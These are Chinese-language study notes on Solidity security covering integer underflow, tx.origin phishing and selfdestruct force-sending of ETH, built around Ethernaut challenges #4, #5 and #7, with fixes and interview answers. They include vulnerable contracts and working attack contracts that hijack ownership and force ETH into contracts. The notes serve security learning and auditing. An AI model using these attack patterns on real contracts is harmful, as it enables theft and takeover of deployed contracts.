返回 SC 笔记
SC Day 51

整数溢出 + tx.origin钓鱼 + selfdestruct攻击

### 1. 整数溢出与下溢 (Integer Overflow / Underflow)

2026-05-21
第三阶段:安全审计
integer-overflowtx-originselfdestructethernaut

日期: 2026-05-21 方向: Solidity / Security 阶段: 第三阶段:安全审计 标签: #integer-overflow #tx-origin #selfdestruct #ethernaut


今日目标

  1. 深入理解 Solidity 中整数溢出/下溢的原理,掌握 0.8 前后版本的差异
  2. 掌握 tx.originmsg.sender 的区别以及钓鱼攻击模式
  3. 理解 selfdestruct 强制发送 ETH 的攻击向量
  4. 完成 Ethernaut 挑战 #5 Token、#4 Telephone、#7 Force

核心概念

1. 整数溢出与下溢 (Integer Overflow / Underflow)

问题根源

Solidity 中整数类型有固定位宽。以 uint8 为例,取值范围是 0 ~ 255。当计算结果超出这个范围时:

  • 溢出 (Overflow): 255 + 1 = 0(二进制回绕)
  • 下溢 (Underflow): 0 - 1 = 255(二进制回绕)
uint8 范围: [0, 255]
  255 + 1 → 00000000 (溢出为0)
  0   - 1 → 11111111 (下溢为255)

uint256 范围: [0, 2^256 - 1]
  最大值 + 1 → 0
  0 - 1      → 2^256 - 1 (一个天文数字)

Solidity 版本差异

特性Solidity < 0.8.0Solidity >= 0.8.0
默认行为静默回绕,不报错自动检查,溢出时 revert
防护方式必须用 SafeMath 库内置 checked math
绕过方式无(需手动防护)unchecked { }
Gas 开销低(无检查)略高(有检查)

unchecked

Solidity 0.8+ 提供 unchecked 关键字,允许开发者在明确知道不会溢出的场景下跳过检查以节省 Gas:

// Solidity 0.8+
function unsafeIncrement(uint256 x) public pure returns (uint256) {
    unchecked {
        return x + 1; // 不检查溢出,节省约200 gas
    }
}

典型安全用法:循环计数器(因为循环条件已经保证不会溢出)

for (uint256 i = 0; i < length;) {
    // 处理逻辑
    unchecked { ++i; } // 安全:i < length 保证 i+1 不会溢出
}

2. tx.origin 钓鱼攻击

tx.origin vs msg.sender

用户 EOA → 合约A → 合约B → 合约C

在合约C的视角中:
  tx.origin  = 用户 EOA(交易发起者,永远是 EOA)
  msg.sender = 合约B(直接调用者)
属性msg.sendertx.origin
含义直接调用者交易最初发起者
类型可以是 EOA 或合约永远是 EOA
调用链中每一跳都会变始终不变
安全性推荐用于权限检查不应用于权限检查

攻击原理

如果合约用 tx.origin 做权限验证,攻击者可以诱骗合约 owner 调用恶意合约,在恶意合约中再调用目标合约。此时 tx.origin 仍然是 owner,权限检查通过。

3. selfdestruct 强制发送 ETH

selfdestruct(address) 会销毁合约并将合约余额强制发送到指定地址。关键点:

  • 目标地址无法拒绝:即使目标没有 receive / fallback 函数
  • 不触发目标合约代码:不会调用目标的任何函数
  • 绕过 address(this).balance 检查:合约无法通过余额检查来防止接收 ETH

注意:EIP-6780 (Dencun 升级) 限制了 selfdestruct 的行为——只有在创建合约的同一笔交易中调用 selfdestruct 才会真正删除合约代码和存储。但强制发送 ETH 的行为仍然保留。


代码实战

漏洞示例 1:整数溢出(Ethernaut #5 Token)

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0; // 注意:0.6.0 没有溢出保护

contract Token {
    mapping(address => uint) balances;
    uint public totalSupply;

    constructor(uint _initialSupply) public {
        balances[msg.sender] = totalSupply = _initialSupply;
    }

    function transfer(address _to, uint _value) public returns (bool) {
        // 漏洞:uint 下溢!如果 _value > balances[msg.sender]
        // 例如 balances = 20, _value = 21
        // 20 - 21 在 uint256 下 = 2^256 - 1 (一个巨大的数)
        // 这个巨大的数 >= 0,检查通过!
        require(balances[msg.sender] - _value >= 0);

        balances[msg.sender] -= _value;  // 下溢:20 - 21 = 极大值
        balances[_to] += _value;
        return true;
    }

    function balanceOf(address _owner) public view returns (uint balance) {
        return balances[_owner];
    }
}

攻击方式

// 攻击者初始余额为20个token
// 转21个token给任意地址
token.transfer(anyAddress, 21);
// 结果:攻击者余额 = 20 - 21 = 2^256 - 1 (接近无限的token)

修复方案

// 方案1:使用 Solidity 0.8+(推荐)
pragma solidity ^0.8.0;

function transfer(address _to, uint _value) public returns (bool) {
    // 0.8+ 自动检查,如果 _value > balances[msg.sender] 会 revert
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
}

// 方案2:在 0.6/0.7 中使用 SafeMath
import "@openzeppelin/contracts/math/SafeMath.sol";

contract TokenFixed {
    using SafeMath for uint256;

    function transfer(address _to, uint _value) public returns (bool) {
        balances[msg.sender] = balances[msg.sender].sub(_value); // 溢出时revert
        balances[_to] = balances[_to].add(_value);
        return true;
    }
}

// 方案3:显式检查
function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] >= _value, "Insufficient balance");
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
}

漏洞示例 2:tx.origin 钓鱼(Ethernaut #4 Telephone)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        // 漏洞:用 tx.origin 做权限检查
        // 如果通过另一个合约调用,tx.origin != msg.sender
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}

攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface ITelephone {
    function changeOwner(address _owner) external;
}

contract TelephoneAttack {
    ITelephone public target;

    constructor(address _target) {
        target = ITelephone(_target);
    }

    function attack() external {
        // 此时:
        // tx.origin = 调用 attack() 的 EOA(即攻击者)
        // msg.sender = 本合约地址(TelephoneAttack)
        // 在 Telephone 合约中:
        //   tx.origin = 攻击者 EOA
        //   msg.sender = TelephoneAttack 合约
        //   tx.origin != msg.sender → 条件成立!
        target.changeOwner(msg.sender); // 将 owner 改为攻击者
    }
}

攻击流程

攻击者 EOA → TelephoneAttack.attack() → Telephone.changeOwner(attacker)

Telephone 合约内部:
  tx.origin  = 攻击者 EOA
  msg.sender = TelephoneAttack 合约地址
  tx.origin != msg.sender → true → owner 被修改!

修复方案

contract TelephoneFixed {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    // 修复:使用 msg.sender 做权限检查
    function changeOwner(address _owner) public {
        require(msg.sender == owner, "Not owner");
        owner = _owner;
    }
}

漏洞示例 3:selfdestruct 强制发送 ETH(Ethernaut #7 Force)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force {
    // 这个合约什么都没有
    // 没有 receive()、没有 fallback()
    // 看起来无法接收 ETH
    // 但真的无法接收吗?
}

攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract ForceAttack {
    constructor(address payable _target) payable {
        require(msg.value > 0, "Send some ETH");
        // selfdestruct 强制将合约余额发送到 _target
        // 目标合约无法拒绝!
        selfdestruct(_target);
    }
}

// 部署时发送 1 wei:
// new ForceAttack{value: 1 wei}(forceContractAddress);

为什么这很危险?

// 假设有一个游戏合约,依赖精确的余额检查
contract EtherGame {
    uint public targetAmount = 7 ether;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 ether, "Must send exactly 1 ether");

        // 漏洞:依赖 address(this).balance 做逻辑判断
        // 攻击者可以用 selfdestruct 强制发送 ETH 打破这个条件
        require(address(this).balance <= targetAmount, "Game is over");

        if (address(this).balance == targetAmount) {
            winner = msg.sender;
        }
    }
}

修复方案

contract EtherGameFixed {
    uint public targetAmount = 7 ether;
    uint public depositedAmount; // 使用内部变量追踪,不依赖 balance
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 ether, "Must send exactly 1 ether");

        depositedAmount += 1 ether; // 用内部变量而非 address(this).balance
        require(depositedAmount <= targetAmount, "Game is over");

        if (depositedAmount == targetAmount) {
            winner = msg.sender;
        }
    }
}

关键要点总结

整数溢出防护

策略适用场景说明
使用 Solidity 0.8+所有新项目默认 checked math
SafeMath 库遗留项目 (< 0.8)OpenZeppelin 提供
unchecked已证明安全的计算节省 Gas,但需确认安全

tx.origin 规则

  • 永远不要用 tx.origin 做权限验证
  • tx.origin 唯一合理用途:判断调用者是否是 EOA(require(tx.origin == msg.sender),用于禁止合约调用)
  • 所有权限检查使用 msg.sender

selfdestruct 防护

  • 不要依赖 address(this).balance 做业务逻辑
  • 使用内部变量追踪金额
  • EIP-6780 之后 selfdestruct 行为有变化,但强制发 ETH 仍有效

常见误区

误区 1:"Solidity 0.8+ 不需要担心溢出"

错误unchecked 块中仍然可能溢出。而且类型转换(casting)也可能导致截断:

uint256 big = 300;
uint8 small = uint8(big); // small = 44 (300 % 256 = 44),没有 revert!

误区 2:"禁止 selfdestruct 就安全了"

错误!即使你的合约没有 selfdestruct,别人可以创建新合约并 selfdestruct 向你强制发 ETH。此外,矿工奖励(coinbase transaction)也能强制发 ETH 到任何地址。

误区 3:"tx.origin == msg.sender 就是安全的"

require(tx.origin == msg.sender) 确实能确保调用者是 EOA,但这不是一个好的安全模式——它阻止了所有合约交互(包括多签钱包、AA 钱包),破坏了可组合性。


面试关联

Q: 请列举 Solidity 中常见的整数相关漏洞,以及如何防护?

简短回答:整数溢出和下溢是经典漏洞。Solidity 0.8+ 通过 checked math 默认防护,但 unchecked 块和类型转换仍需注意。

详细回答

  • 溢出/下溢:0.8 之前需要 SafeMath,0.8+ 自动检查
  • 类型转换截断uint256uint8 可能静默丢失数据
  • unchecked 风险:开发者可能错误地在不安全场景使用
  • 乘除顺序a * b / c 可能在 a * b 步骤溢出,应改为 a / c * b 或使用 mulDiv

Q: tx.origin 和 msg.sender 有什么区别?为什么不应该用 tx.origin 做权限验证?

回答tx.origin 是交易的最终发起者(始终是 EOA),msg.sender 是直接调用者。使用 tx.origin 做权限验证会导致钓鱼攻击——攻击者诱骗 owner 调用恶意合约,恶意合约再调用目标合约,此时 tx.origin 仍是 owner,权限检查通过。

Q: 如何防止合约被强制发送 ETH?

回答:无法完全防止。selfdestruct、coinbase 奖励、合约创建前预先发送等方式都能绕过。正确做法是不依赖 address(this).balance 做业务逻辑,而是用内部变量追踪。


参考资源